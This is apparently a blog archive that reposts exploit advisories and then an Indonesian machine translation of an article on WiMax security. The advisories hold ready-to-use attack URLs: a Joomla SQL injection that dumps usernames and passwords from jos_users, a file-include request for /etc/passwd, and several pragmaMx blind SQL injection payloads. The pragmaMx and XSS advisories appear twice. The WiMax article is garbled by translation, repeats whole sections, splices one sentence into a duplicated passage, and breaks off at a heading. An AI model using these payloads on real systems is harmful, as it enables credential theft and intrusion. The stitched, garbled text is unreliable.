Jumat, 01 Januari 2010
Joomla! 'com_countries' Component 'locat' Parameter SQL Injection Vulnerability
http://www.example.com/index.php?option=com_countries&locat=null/**/union/**/select/**/concat(username,0x3a,password)fl0f0r3v3r/**/from/**/jos_users
'com_abbrev' Joomla! Component 'controller' Parameter Local File Include Vulnerability
http://www.example.com/index.php?option=com_abbrev&controller=../../../../../../../../../../etc/passwd
Minggu, 27 Desember 2009
pragmaMx CMS Blind SQL/XPath Injection vulnerability
###########################################
#
# CMS Name : pragmaMx ( All Version )
#
# Bug Type : Blind SQL/XPath Injection vulnerability
#
# Found by : Hadi Kiamarsi
#
# Contact : hadikiamarsi [at] hotmail.com
#
# Download : http://sourceforge.net/projects/pragmamx/files/pragmaMx%20%20%28full%29/
pragmaMx%200.1.11/pragmaMx_0.1.11.0.tar.gz/download
#
###########################################
PoC :
http://[target]/[path]/modules.php?name=Your_Account&rop=showcontent"+an
d+31337-31337=0+--+&id=111-222-1933email (at) address (dot) tst [email concealed]
http://[target]/[path]/modules.php?name=Your_Account&min=0&orderby=dateD
"+and+31337-31337=0+--+&cid=0&jumpswitch=Switch
http://[target]/[path]/modules.php?name=Your_Account&op=pass_lost&query=
111-222-1933email (at) address (dot) tst [email concealed]&min=0'+and+31337-31337='0&orderby=dateD
http://[target]/[path]/modules.php?name=Your_Account&rop=showcontent&id=
111-222-1933email (at) address (dot) tst [email concealed]"+and+31337-31337="0
example :
http://www.example.com/modules.php?name=Your_Account&rop=showcontent"+an
d+31337-31337=0+--+&id=111-222-1933email (at) address (dot) tst [email concealed]
http://www.example.com/modules.php?name=Your_Account&min=0&orderby=dateD
"+and+31337-31337=0+--+&cid=0&jumpswitch=Switch
http://www.example.com/modules.php?name=Your_Account&op=pass_lost&query=
111-222-1933email (at) address (dot) tst [email concealed]&min=0'+and+31337-31337='0&orderby=dateD
http://www.example.com/modules.php?name=Your_Account&rop=showcontent&id=
111-222-1933email (at) address (dot) tst [email concealed]"+and+31337-31337="0
local Example :
http://localhost/html/modules.php?name=Your_Account&rop=showcontent"+and
+31337-31337=0+--+&id=111-222-1933email (at) address (dot) tst [email concealed]
http://localhost/html/modules.php?name=Your_Account&min=0&orderby=dateD"
+and+31337-31337=0+--+&cid=0&jumpswitch=Switch
http://localhost/html/modules.php?name=Your_Account&op=pass_lost&query=1
11-222-1933email (at) address (dot) tst [email concealed]&min=0'+and+31337-31337='0&orderby=dateD
http://localhost/html/modules.php?name=Your_Account&rop=showcontent&id=1
11-222-1933email (at) address (dot) tst [email concealed]"+and+31337-31337="0
#
# CMS Name : pragmaMx ( All Version )
#
# Bug Type : Blind SQL/XPath Injection vulnerability
#
# Found by : Hadi Kiamarsi
#
# Contact : hadikiamarsi [at] hotmail.com
#
# Download : http://sourceforge.net/projects/pragmamx/files/pragmaMx%20%20%28full%29/
pragmaMx%200.1.11/pragmaMx_0.1.11.0.tar.gz/download
#
###########################################
PoC :
http://[target]/[path]/modules.php?name=Your_Account&rop=showcontent"+an
d+31337-31337=0+--+&id=111-222-1933email (at) address (dot) tst [email concealed]
http://[target]/[path]/modules.php?name=Your_Account&min=0&orderby=dateD
"+and+31337-31337=0+--+&cid=0&jumpswitch=Switch
http://[target]/[path]/modules.php?name=Your_Account&op=pass_lost&query=
111-222-1933email (at) address (dot) tst [email concealed]&min=0'+and+31337-31337='0&orderby=dateD
http://[target]/[path]/modules.php?name=Your_Account&rop=showcontent&id=
111-222-1933email (at) address (dot) tst [email concealed]"+and+31337-31337="0
example :
http://www.example.com/modules.php?name=Your_Account&rop=showcontent"+an
d+31337-31337=0+--+&id=111-222-1933email (at) address (dot) tst [email concealed]
http://www.example.com/modules.php?name=Your_Account&min=0&orderby=dateD
"+and+31337-31337=0+--+&cid=0&jumpswitch=Switch
http://www.example.com/modules.php?name=Your_Account&op=pass_lost&query=
111-222-1933email (at) address (dot) tst [email concealed]&min=0'+and+31337-31337='0&orderby=dateD
http://www.example.com/modules.php?name=Your_Account&rop=showcontent&id=
111-222-1933email (at) address (dot) tst [email concealed]"+and+31337-31337="0
local Example :
http://localhost/html/modules.php?name=Your_Account&rop=showcontent"+and
+31337-31337=0+--+&id=111-222-1933email (at) address (dot) tst [email concealed]
http://localhost/html/modules.php?name=Your_Account&min=0&orderby=dateD"
+and+31337-31337=0+--+&cid=0&jumpswitch=Switch
http://localhost/html/modules.php?name=Your_Account&op=pass_lost&query=1
11-222-1933email (at) address (dot) tst [email concealed]&min=0'+and+31337-31337='0&orderby=dateD
http://localhost/html/modules.php?name=Your_Account&rop=showcontent&id=1
11-222-1933email (at) address (dot) tst [email concealed]"+and+31337-31337="0
XSS vulnerability in ClarkConnect web interface.
XSS vulnerability in ClarkConnect web interface.
ClarkConnect is an internet server and gateway that provides protocol filtering, bandwidth management, Windows File Sharing / Samba, LDAP Directory Integration and other features...
The vulnerability was found in the latest version of this product (5.0).
ClarkConnect installs a Web server on port 82 to process the PHP scripts it uses for configuration.
Proof of concept:
http://server_address:82/public/proxy.php?url=
ClarkConnect is an internet server and gateway that provides protocol filtering, bandwidth management, Windows File Sharing / Samba, LDAP Directory Integration and other features...
The vulnerability was found in the latest version of this product (5.0).
ClarkConnect installs a Web server on port 82 to process the PHP scripts it uses for configuration.
Proof of concept:
http://server_address:82/public/proxy.php?url=
XSS Vulnerability in JpGraph 3.0.6
Discovered by Martin Barbella
Description of Vulnerability:
-----------------------------
JpGraph is an object oriented library for PHP that can be used to create
various types of graphs which also contains support for client side
image maps.
The GetURLArguments function for the JpGraph's Graph class does not
properly sanitize the names of get and post variables, leading to a
cross site scripting vulnerability.
Systems affected:
-----------------
This has been confirmed in version 3.0.6 of JpGraph's free release.
Previous versions and the professional versions may be affected as well.
Impact:
-------
When a user is tricked into clicking on a malicious link or submitting a
specially crafted form, the injected code travels to the vulnerable web
server, which reflects the attack back to the userâ??s browser. The
browser then executes the code because it came from a "trusted" server.
(From OWASP: http://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29)
Mitigating factors:
-------------------
The vulnerability seems to be exploitable only in cases where client
side image maps are used.
Proof of concept:
-----------------
This can be demonstrated in the csim_in_html_ex1.php example provided
with jpgraph (as well various other csim examples) as shown below.
http://site/csim_in_html_ex1.php?"/>=arbitr
ary
Solution:
---------
The following patch can be applied to jpgraph.php to correct the
vulnerability.
--- jpgraph.php.orig 2009-11-14 14:45:01.000000000 -0500
+++ jpgraph.php 2009-11-14 14:55:34.000000000 -0500
@@ -1286,11 +1286,11 @@
while( list($key,$value) = each($_GET) ) {
if( is_array($value) ) {
foreach ( $value as $k => $v ) {
- $urlarg .= '&'.$key.'%5B'.$k.'%5D='.urlencode($v);
+ $urlarg .=
'&'.urlencode($key).'%5B'.urlencode($k).'%5D='.urlencode($v);
}
}
else {
- $urlarg .= '&'.$key.'='.urlencode($value);
+ $urlarg .= '&'.urlencode($key).'='.urlencode($value);
}
}
@@ -1301,11 +1301,11 @@
while( list($key,$value) = each($_POST) ) {
if( is_array($value) ) {
foreach ( $value as $k => $v ) {
- $urlarg .= '&'.$key.'%5B'.$k.'%5D='.urlencode($v);
+ $urlarg .=
'&'.urlencode($key).'%5B'.urlencode($k).'%5D='.urlencode($v);
}
}
else {
- $urlarg .= '&'.$key.'='.urlencode($value);
+ $urlarg .= '&'.urlencode($key).'='.urlencode($value);
}
}
Description of Vulnerability:
-----------------------------
JpGraph is an object oriented library for PHP that can be used to create
various types of graphs which also contains support for client side
image maps.
The GetURLArguments function for the JpGraph's Graph class does not
properly sanitize the names of get and post variables, leading to a
cross site scripting vulnerability.
Systems affected:
-----------------
This has been confirmed in version 3.0.6 of JpGraph's free release.
Previous versions and the professional versions may be affected as well.
Impact:
-------
When a user is tricked into clicking on a malicious link or submitting a
specially crafted form, the injected code travels to the vulnerable web
server, which reflects the attack back to the userâ??s browser. The
browser then executes the code because it came from a "trusted" server.
(From OWASP: http://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29)
Mitigating factors:
-------------------
The vulnerability seems to be exploitable only in cases where client
side image maps are used.
Proof of concept:
-----------------
This can be demonstrated in the csim_in_html_ex1.php example provided
with jpgraph (as well various other csim examples) as shown below.
http://site/csim_in_html_ex1.php?"/>=arbitr
ary
Solution:
---------
The following patch can be applied to jpgraph.php to correct the
vulnerability.
--- jpgraph.php.orig 2009-11-14 14:45:01.000000000 -0500
+++ jpgraph.php 2009-11-14 14:55:34.000000000 -0500
@@ -1286,11 +1286,11 @@
while( list($key,$value) = each($_GET) ) {
if( is_array($value) ) {
foreach ( $value as $k => $v ) {
- $urlarg .= '&'.$key.'%5B'.$k.'%5D='.urlencode($v);
+ $urlarg .=
'&'.urlencode($key).'%5B'.urlencode($k).'%5D='.urlencode($v);
}
}
else {
- $urlarg .= '&'.$key.'='.urlencode($value);
+ $urlarg .= '&'.urlencode($key).'='.urlencode($value);
}
}
@@ -1301,11 +1301,11 @@
while( list($key,$value) = each($_POST) ) {
if( is_array($value) ) {
foreach ( $value as $k => $v ) {
- $urlarg .= '&'.$key.'%5B'.$k.'%5D='.urlencode($v);
+ $urlarg .=
'&'.urlencode($key).'%5B'.urlencode($k).'%5D='.urlencode($v);
}
}
else {
- $urlarg .= '&'.$key.'='.urlencode($value);
+ $urlarg .= '&'.urlencode($key).'='.urlencode($value);
}
}
Sabtu, 05 Desember 2009
WiMax: Just Another Security Challenge?
jaringan nirkabel telah lama dianggap sebagai mudah digunakan, solusi biaya rendah untuk menyediakan layanan broadband untuk penduduk yang semakin mobile. Seperti halnya teknologi baru, bagaimanapun, tak lama sebelum penyerang yang mengeksploitasi itu.
Versi populer jaringan nirkabel, yang dikenal sebagai WiFi, merevolusi cara-cara yang baik di rumah-kantor kecil dan fasilitas yang lebih besar bekerja, sehingga bandwidth yang sepele untuk memperluas ke bidang-bidang di mana ia tidak praktis atau terlalu mahal untuk menjalankan kabel Ethernet. Untuk sementara seolah-olah langsung ditawarkan deployable WiFi, mudah dikonfigurasi, dan yang paling penting komunikasi mobile kepada massa.
Segera, bagaimanapun, over-the-air sniffer, seperti kismet dan airsnort, memungkinkan penyerang untuk menangkap dan decode data yang dikirim melalui WiFi. Rogue jalur akses - sah sering digunakan oleh pengguna yang mencari akses yang lebih mudah - membuka lubang keamanan perusahaan jauh di dalam 'perusahaan, memungkinkan penyerang untuk sepenuhnya menghindari perlindungan tradisional, seperti firewall dan IDS, dan hanya istirahat di melalui terbuka lebar pintu belakang. Jalur akses penipu ini juga menjadi cara yang berguna bagi penyerang untuk mencuri password, nomor kartu kredit, dan informasi sensitif lainnya.
Tidak butuh waktu lama bagi profesional teknologi informasi untuk menyadari bahwa tanah yang dijanjikan WiFi dipenuhi dengan risiko, kerentanan, dan bahaya-bahaya yang tidak terduga masih menimbulkan tantangan-tantangan keamanan yang signifikan hari ini.
Selain itu, WiFi telah menyebabkan banyak sakit kepala teknis. Jangkauan radius yang efektif, yang juga dikenal sebagai "sel jari-jari," relatif kecil - biasanya beberapa ratus kaki bila digunakan dengan antena Omnidirectional seperti yang ada di laptop khas Anda. WiFi juga memiliki keterbatasan bandwidth yang cukup besar yang membuatnya tidak praktis untuk pengguna kepadatan tinggi lingkungan atau sebagai terakhir mil solusi transport-layer. Selama bertahun-tahun ini tantangan teknis, bersama dengan masalah keamanan, telah dibahas dalam sebagian besar dengan terus-menerus berkembang mengunci standar dan kontrol keamanan di atas WiFi. Contohnya termasuk wired equivalent privacy (WEP) encryption, WiFi Protected Access (WAP) enkripsi, dan 802.1x.
Namun, tanpa menggunakan sangat terarah dan antena besar, WiFi masih belum optimal metropolitan solusi untuk skala besar atau jarak jauh point-to-point link. Ini adalah alasan standar WiMax dan serupa lahir.
Dibandingkan nirkabel WiFi WiMax
Menggunakan Fitur jangka pendek, LAN-sentris jangka panjang, MAN-sentris
Spektrum spektrum tak berlisensi
802.11b / g - 2,4 GHz
802.11n - 2.4 GHz, 5 GHz tanpa izin atau lisensi spektrum antara 2-66 GHz
US: 2.4 GHz
Internasional: 2.3 GHz, 3.5 GHz
Kualitas Layanan Minimal - QoS adalah relatif hanya antara paket / mengalir Guaranteed - QoS terjamin menggunakan algoritma penjadwalan pada lapisan MAC
Sel Footprint <300 meter maksimum
Kebanyakan implementasi sekitar 30 meter Sampai dengan 10 kilometer
Kebanyakan implementasi sekitar 3 km
Bandwidth 802.11b: 11 Mbps max
802.11g: 54 Mbps max
802.11n: minimal 100 MbpsAll bandwidth pada jarak pendek Up to 70 Mbps teoritis maks
Hingga 40 saluran pelanggan khusus
Mengharapkan 15 Mbps pada 3 km jarak
Tabel 1 - Suatu perbandingan khas kinerja WiFi dan WiMax karakteristik
WiMax mengacu pada standar yang dirancang untuk menyediakan bandwidth yang tinggi layanan nirkabel pada wilayah metropolitan skala. Ini menyediakan bandwidth yang jauh lebih besar dibandingkan dengan WiFi, yang memungkinkan pengguna untuk berbagi hingga 70 Mbps pada jarak pendek - meskipun 10 Mbps pada 10 km adalah lebih tipikal - per saluran dalam implementasi tetap. Masing-masing saluran dapat dibagi antara sampai dengan 40 simultan pengguna, menyediakan kecepatan download simetris yang menyaingi koneksi DSL tradisional.
Sementara WiFi telah pindah ke solusi bandwidth tinggi dengan munculnya draft 802.11n spesifikasi, yang menyediakan bandwidth teoritis maksimal sampai 248 Mbps, yang benar WiMax mempertahankan keuntungan di jari-jari sel. Bahkan dengan 802.11n, WiFi biasanya terbatas pada kisaran di bawah 300 meter tanpa peralatan khusus. Sebaliknya, WiMAX menyediakan sel yang jauh lebih besar jari-jari - hingga 3 km di aplikasi tetap - tanpa secara signifikan merendahkan bandwidth yang terseTentu saja, label WiMax sebuah "standar" adalah sesuatu yang keliru. Standar aktual untuk skala MAN nirkabel WiMax adalah solusi yang didasarkan pada adalah IEEE 802.16, yang tidak pernah sepenuhnya diadopsi. Bahkan, WiMax adalah penciptaan WiMax Forum, yang merupakan kelompok yang berafiliasi longgar vendor, pemasok, dan insinyur di seluruh dunia yang berusaha untuk membakukan teknologi broadband nirkabel untuk aplikasi mil terakhir berdasarkan IEEE 802.16e-2005 spesifikasi.
Ketika Anda membeli sebuah "WiMax" produk Anda benar-benar mengadakan suatu IEEE 802.16e-2005 telah memenuhi persyaratan perangkat yang telah diuji dan disertifikasi sebagai dioperasikan oleh WiMax Forum - bukan benar-benar perangkat compliant IEEE 802.16. The WiMAX Forum mempertahankan program sertifikasi yang kaku yang memastikan kesesuaian standar dan interoperabilitas untuk "WiMAX Forum Certified" produk. Hanya empat laboratorium di seluruh dunia disetujui untuk melakukan uji sertifikasi ini: AT4 Wireless, Asosiasi Teknologi Telekomunikasi, Cina Akademi Telekomunikasi Penelitian Penelitian, Data dan Advance Technology Corporation.
Bagaimana WiMAX Bekerja
Di tingkat 65.000 kaki, WiMax tampak sangat seperti IEEE 802.11x tradisional pelaksanaannya. Pelanggan node menggunakan kartu akses jaringan nirkabel tersambung ke base station, yang biasanya dihubungkan ke beberapa jaringan dapat diakses atau Internet.
Perbedaan utama di bawah tenda. Untuk satu, WiMax dirancang dari bawah ke atas untuk memberikan kualitas layanan (QoS) dalam rangka untuk memastikan data minimal yang dapat diandalkan kecepatan dan ketersediaan. Untuk menyediakan QoS, peralatan bersertifikat WiMax dirancang untuk mengimplementasikan suatu algoritma penjadwalan untuk memastikan setiap pelanggan stasiun bersaing untuk akses hanya sekali. Dari saat itu, base station menyediakan sebuah slot waktu yang dialokasikan untuk masing-masing pelanggan yang unik stasiun. Jadwal ini solusi berbasis jauh berbeda dengan WiFi, yang menggunakan contention berbasis skema kontrol akses media di mana semua pelanggan stasiun bersaing untuk stasiun pangkalan yang sama perhatian pada acak, dasar interrupt-driven. Ini adalah salah satu alasan mengapa begitu banyak bandwidth yang bervariasi dengan jarak dari base station dalam implementasi WiFi: pelanggan lebih dekat dengan stasiun pangkalan hanya bisa didengar lebih baik, dan pra-lebih dulu mereka yang berada di kisaran yang lebih jauh. WiMax masih menderita dari degradasi bandwidth lebih dari rentang diperpanjang, tetapi tidak hampir sama secara signifikan. Dimasukkannya QoS membuat aplikasi seperti voice-over-IP (VoIP) jauh lebih mudah diterapkan, karena bandwidth yang relatif konstan dan QoS dapat diasumsikan pada kisaran tertentu.
Penggunaan spektrum secara signifikan berbeda dalam aplikasi WiMAX jika dibandingkan dengan WiFi. 802,16 spesifikasi IEEE mendukung kedua 2-ke-11 GHz dan 10-ke-66 GHz rentang. Frekuensi yang lebih rendah biasanya memberikan rentang yang lebih besar dalam jenis lingkungan perkotaan WiMax adalah target, maka rentang frekuensi 66 GHz di atas tidak pernah dianggap cocok untuk IEEE 802.16 atau implementasi WiMax. Juga, karena IEEE 802.16 masih dalam konsep, tidak ada lisensi spektrum global saat ini. The WiMax Forum, dalam upaya untuk memastikan interoperabilitas, memiliki lisensi tiga spektrum profil: 2,3 GHz, 2,5 GHz, dan 3,5 GHz. Di Amerika Serikat, implementasi yang paling umum diharapkan akan berpusat pada 2.5 GHz. Luar Amerika Serikat, profil spektrum bervariasi dengan spektrum frekuensi radio lisensi didukung oleh unit geopolitik di mana implementasi WiMax dikerahkan.
Dari perspektif keamanan, WiMax kunci menawarkan beberapa keunggulan dibandingkan dengan implementasi WiFi tradisional. WiFi benar-benar merevolusi cara kita memberikan bandwidth untuk pelanggan, terutama yang bergerak, tetapi selalu tidak memiliki fitur keamanan kunci. Kurangnya keamanan ini memungkinkan penyerang untuk mengeksploitasi tanpa ampun pengadopsi awal teknologi dan bahkan hari ini, sebagian besar jalur akses yang tidak aman dan sejumlah besar lewat di lalu lintas yang jelas, sehingga setiap orang yang lewat kasual atau penyerang untuk mengendus informasi sensitif melalui udara.
Lebih buruk lagi, dalam konfigurasi asli, WiFi tidak melaksanakan otentikasi kuat pada base station, memungkinkan penyerang untuk menggunakan jalur akses jahat bahwa mereka kontrol, yang dapat mengumpulkan atau memodifikasi setiap paket melintasi jalur akses. Sementara obat memang ada (seperti WEP dan WPA/WPA2), mereka melesat ke WiFi untuk memperbaiki kerentanan ini.
WiMax ini dikembangkan dari awal dengan keamanan dalam pikiran. Pertama, setiap pelanggan stasiun menggunakan sertifikat X.509 untuk secara unik mengidentifikasi pelanggan. Ini secara efektif mencegah penyerang dari penipuan identitas pelanggan yang sah. Tujuan dalam menerapkan paradigma ini adalah untuk melakukan pencurian-of-layanan lebih sulit. Kedua, WiMax kuat mendukung dua standar enkripsi: DES dan AES. Dalam pelaksanaan yang aman, WiMax dirancang untuk menggunakan EAP (atau IEEE 802.1x) untuk otentikasi timbal balik yang kuat dan dapat mengaktifkan link RSA untuk data enkripsi, meskipun hal ini membutuhkan hardware tambahan dalam perusahaan (a RADIUS server, dll) ditambah dengan penggunaan of WiMax.
Potensi WiMax Aplikasi
Awalnya direncanakan sebagai alternatif untuk tetap nirkabel, jaringan skala MAN, WiMax sekarang sedang dipertimbangkan untuk berbagai aplikasi, mulai dari mil terakhir konektivitas untuk pengganti 802.11x jaringan mesh. Berkat komitmen vendor yang diusulkan IEEE 802.16x-2005 mobile standar (dianggap "WiMax kompatibel"), teknologi WiMax didorong untuk ponsel dan laptop. Intel pada khususnya telah membuat besar mendorong adopsi WiMax awal, tetapi lebih dari 30 perusahaan menyediakan WiMAX Forum Certified tetap penerapan teknologi. el, untuk digunakan dalam jaringan area metropolitan (MAN) dan sebagai dasar-dasar jaringan selular 4G.
Tentu saja, label WiMax sebuah "standar" adalah sesuatu yang keliru. Standar aktual untuk skala MAN nirkabel WiMax adalah solusi yang didasarkan pada adalah IEEE 802.16, yang tidak pernah sepenuhnya diadopsi. Bahkan, WiMax adalah penciptaan WiMax Forum, yang merupakan kelompok yang berafiliasi longgar vendor, pemasok, dan insinyur di seluruh dunia yang berusaha untuk membakukan teknologi broadband nirkabel untuk aplikasi mil terakhir berdasarkan IEEE 802.16e-2005 spesifikasi.
Ketika Anda membeli sebuah "WiMax" produk Anda benar-benar mengadakan suatu IEEE 802.16e-2005 telah memenuhi persyaratan perangkat yang telah diuji dan disertifikasi sebagai dioperasikan oleh WiMax Forum - bukan benar-benar perangkat compliant IEEE 802.16. The WiMAX Forum mempertahankan program sertifikasi yang kaku yang memastikan kesesuaian standar dan interoperabilitas untuk "WiMAX Forum Certified" produk. Hanya empat laboratorium di seluruh dunia disetujui untuk melakukan uji sertifikasi ini: AT4 Wireless, Asosiasi Teknologi Telekomunikasi, Cina Akademi Telekomunikasi Penelitian Penelitian, Data dan Advance Technology Corporation.
Bagaimana WiMAX Bekerja
Di tingkat 65.000 kaki, WiMax tampak sangat seperti IEEE 802.11x tradisional pelaksanaannya. Pelanggan node menggunakan kartu akses jaringan nirkabel tersambung ke base station, yang biasanya dihubungkan ke beberapa jaringan dapat diakses atau Internet.
Perbedaan utama di bawah tenda. Untuk satu, WiMax dirancang dari bawah ke atas untuk memberikan kualitas layanan (QoS) dalam rangka untuk memastikan data minimal yang dapat diandalkan kecepatan dan ketersediaan. Untuk menyediakan QoS, peralatan bersertifikat WiMax dirancang untuk mengimplementasikan suatu algoritma penjadwalan untuk memastikan setiap pelanggan stasiun bersaing untuk akses hanya sekali. Dari saat itu, base station menyediakan sebuah slot waktu yang dialokasikan untuk masing-masing pelanggan yang unik stasiun. Jadwal ini solusi berbasis jauh berbeda dengan WiFi, yang menggunakan contention berbasis skema kontrol akses media di mana semua pelanggan stasiun bersaing untuk stasiun pangkalan yang sama perhatian pada acak, dasar interrupt-driven. Ini adalah salah satu alasan mengapa begitu banyak bandwidth yang bervariasi dengan jarak dari base station dalam implementasi WiFi: pelanggan lebih dekat dengan stasiun pangkalan hanya bisa didengar lebih baik, dan pra-lebih dulu mereka yang berada di kisaran yang lebih jauh. WiMax masih menderita dari degradasi bandwidth lebih dari rentang diperpanjang, tetapi tidak hampir sama secara signifikan. Dimasukkannya QoS membuat aplikasi seperti voice-over-IP (VoIP) jauh lebih mudah diterapkan, karena bandwidth yang relatif konstan dan QoS dapat diasumsikan pada kisaran tertentu.
Penggunaan spektrum secara signifikan berbeda dalam aplikasi WiMAX jika dibandingkan dengan WiFi. 802,16 spesifikasi IEEE mendukung kedua 2-ke-11 GHz dan 10-ke-66 GHz rentang. Frekuensi yang lebih rendah biasanya memberikan rentang yang lebih besar dalam jenis lingkungan perkotaan WiMax adalah target, maka rentang frekuensi 66 GHz di atas tidak pernah dianggap cocok untuk IEEE 802.16 atau implementasi WiMax. Juga, karena IEEE 802.16 masih dalam konsep, tidak ada lisensi spektrum global saat ini. The WiMax Forum, dalam upaya untuk memastikan interoperabilitas, memiliki lisensi tiga spektrum profil: 2,3 GHz, 2,5 GHz, dan 3,5 GHz. Di Amerika Serikat, implementasi yang paling umum diharapkan akan berpusat pada 2.5 GHz. Luar Amerika Serikat, profil spektrum bervariasi dengan spektrum frekuensi radio lisensi didukung oleh unit geopolitik di mana implementasi WiMax dikerahkan.
Dari perspektif keamanan, WiMax kunci menawarkan beberapa keunggulan dibandingkan dengan implementasi WiFi tradisional. WiFi benar-benar merevolusi cara kita memberikan bandwidth untuk pelanggan, terutama yang bergerak, tetapi selalu tidak memiliki fitur keamanan kunci. Kurangnya keamanan ini memungkinkan penyerang untuk mengeksploitasi tanpa ampun pengadopsi awal teknologi dan bahkan hari ini, sebagian besar jalur akses yang tidak aman dan sejumlah besar lewat di lalu lintas yang jelas, sehingga setiap orang yang lewat kasual atau penyerang untuk mengendus informasi sensitif melalui udara.
Lebih buruk lagi, dalam konfigurasi asli, WiFi tidak melaksanakan otentikasi kuat pada base station, memungkinkan penyerang untuk menggunakan jalur akses jahat bahwa mereka kontrol, yang dapat mengumpulkan atau memodifikasi setiap paket melintasi jalur akses. Sementara obat memang ada (seperti WEP dan WPA/WPA2), mereka melesat ke WiFi untuk memperbaiki kerentanan ini.
WiMax ini dikembangkan dari awal dengan keamanan dalam pikiran. Pertama, setiap pelanggan stasiun menggunakan sertifikat X.509 untuk secara unik mengidentifikasi pelanggan. Ini secara efektif mencegah penyerang dari penipuan identitas pelanggan yang sah. Tujuan dalam menerapkan paradigma ini adalah untuk melakukan pencurian-of-layanan lebih sulit. Kedua, WiMax kuat mendukung dua standar enkripsi: DES dan AES. Dalam pelaksanaan yang aman, WiMax dirancang untuk menggunakan EAP (atau IEEE 802.1x) untuk otentikasi timbal balik yang kuat dan dapat mengaktifkan link RSA untuk data enkripsi, meskipun hal ini membutuhkan hardware tambahan dalam perusahaan (a RADIUS server, dll) ditambah dengan penggunaan of WiMax.
Potensi WiMax Aplikasi
Awalnya direncanakan sebagai alternatif untuk tetap nirkabel, jaringan skala MAN, WiMax sekarang sedang dipertimbangkan untuk berbagai aplikasi, mulai dari mil terakhir konektivitas untuk pengganti 802.11x jaringan mesh. Berkat komitmen vendor yang diusulkan IEEE 802.16x-2005 mobile standar (dianggap "WiMax kompatibel"), teknologi WiMax didorong untuk ponsel dan laptop. Intel pada khususnya telah membuat besar mendorong adopsi WiMax awal, tetapi lebih dari 30 perusahaan menyediakan WiMAX Forum Certified tetap penerapan teknologi.
Pada awal 2008, WiMAX Forum mengumumkan ketersediaan pertama WiMAX Forum Certified perangkat mobile, terutama dalam kisaran 2,3 GHz, yang digunakan secara internasional. Sertifikasi produk di band 2.5 GHz untuk penggunaan US diharapkan nantinya musim panas ini. Sementara WiMax adalah hanya mendapatkan traksi di AS, ada ratusan penyebaran utama di seluruh dunia, terutama di Asia. Beberapa aplikasi yang lebih menarik sampai saat ini meliputi:
* Potensi 4G Solusi
Pembawa sedang menyelidiki nirkabel WiMax sebagai alternatif teknologi 3G/3.5G saat ini, seperti EVDO dan HSPDA. Di AS, Sprint telah membuat komitmen besar untuk WiMax sebagai bagian inti dari strategi 4G mereka. Dari perspektif bandwidth mentah, WiMax pembawa hampir 2.5x menawarkan kecepatan HSPDA, umumnya diakui sebagai teknologi 3.5G tercepat saat ini di pasar. Dengan membangun jaringan suara di atas yang stabil, ketersediaan tinggi, bandwidth yang tinggi sambungan data nirkabel daripada mengais-ngais data dari bandwidth biasanya disediakan untuk suara, carrier akan membuka berbagai berbasis lokasi, interaktif, Web layanan yang diaktifkan saat ini tidak mungkin mengerahkan.
* Transport Technology untuk Mobile Solusi
T-Mobile telah menggunakan 802.16d/WiFi hibrida solusi untuk menyediakan bandwidth dengan jalur kereta api komuter di Inggris sejak tahun 2005. BTS 802.16d lapisan menyediakan transportasi 802,11 solusi untuk jalur akses dalam gerbong kereta itu sendiri, dan pelanggan terhubung menggunakan T-Mobile hotspot ada teknologi. Meskipun pelaksanaan ini didasarkan pada spesifikasi 802.16d yang lebih tua, bukan pada teknologi WiMax Forum bersertifikat, hal ini menunjukkan bagaimana sel luas tapak WiMAX dapat digunakan untuk menyediakan bandwidth untuk pelanggan mobile secara cepat dan mudah tanpa memaksa mereka untuk mengadopsi penghalang technologyóalways baru untuk perkembangan standar nirkabel baru.
* WiBro
Pada tahun 2005, Korea Selatan membuat komitmen besar untuk IEEE 802.16b dengan pengembangan WiBro, yang kemudian di-upgrade ke 802.16e IEEE penuh kepatuhan. Mulai tahun 2006, WiBro solusi digulung banyak keluar di Korea Selatan, dan sekarang liputan ada di kebanyakan kota besar, termasuk Seoul, di mana bahkan kereta bawah tanah telah konektivitas. Walaupun belum menjadi solusi WiMAX bersertifikat, ini tetap menjadi salah satu yang terbesar roll-out to-date.
Masalah Keamanan dan Potensi Vulnerabilities
WiMax model keamanan yang berfokus terutama pada pencurian-of-layanan dan pencurian-of-data ancaman vektor. WiMax mengimplementasikan perlindungan dalam lapisan kontrol akses media, dengan lapisan sub keamanan yang melaksanakan menyediakan otentikasi dan enkripsi data kait. Sementara ini mungkin adalah dua kekhawatiran paling umum mencegah penyebaran RF berbasis sebuah solusi konektivitas dalam misi-peran penting, mereka hampir tidak semua-inklusif. Bahkan, WiMax menawarkan sejumlah besar teoretis kerentanan, beberapa di antaranya baru mulai diperlihatkan di alam bebas:
* Man-In-The-Tengah
WiMax mengimplementasikan sebuah skema otentikasi searah menggunakan sertifikat X.509 dari pelanggan ke stasiun pangkalan antena, tetapi tidak ada ketentuan bagi stasiun pangkalan untuk otentikasi pelanggan sebagai balasannya. Hal ini akan membuka potensi kerentanan untuk BTS nakal untuk mencoba penyamaran perangkat yang sah. Penyerang dapat dengan mudah mencegat pelanggan inisiasi spoof permintaan dan tanggapan, wewenang mereka untuk menggunakan jalur akses jahat. Sejak WiMax memiliki begitu banyak jari-jari sel lebih besar daripada WiFi, ini adalah ancaman yang lebih parah dari itu akan di implementasi WiFi tradisional, setidaknya dari perspektif respons insiden. Menggunakan otentikasi timbal balik yang kuat melalui IEEE 802.1x dan server RADIUS akan mengurangi risiko ini secara signifikan, meskipun penting untuk diingat bahwa setiap penanggulangan keamanan ditambahkan pada perusahaan dapat memperkenalkan sumber kerentanan tambahan jika tidak dikelola dengan hati-hati. Misalnya, penggelaran solusi otentikasi 802.1x membuka jendela kerentanan terhadap EAP injeksi, spoofing, dan memainkan serangan yang dipahami dengan baik dan dipublikasikan.
* Denial of Service
Selain layer MAC kerentanan, WiMax bisa menderita dari kerentanan potensial lapisan fisik juga. Pertama, WiMax menggunakan bingkai manajemen, mirip dengan yang digunakan dalam WiFi, tetapi kriptografi mengimplementasikan WiMax perlindungan untuk mencegah sebagian besar serangan spoofing. Namun, WiMax adalah replay rentan terhadap serangan berbasis membanjiri jaringan dengan bingkai penuh bajingan, efektif menciptakan serangan denial of service. Banyak WiMax pengadopsi juga prihatin tentang kemacetan atau berebut serangan, di mana seorang penyerang upaya untuk memanipulasi sinyal RF untuk mengganggu koneksi. Bahkan gangguan elektromagnetik sedang diawasi dengan ketat untuk menentukan apakah itu berdampak buruk terhadap keandalan dan ketersediaan.
* Base Station Attacks
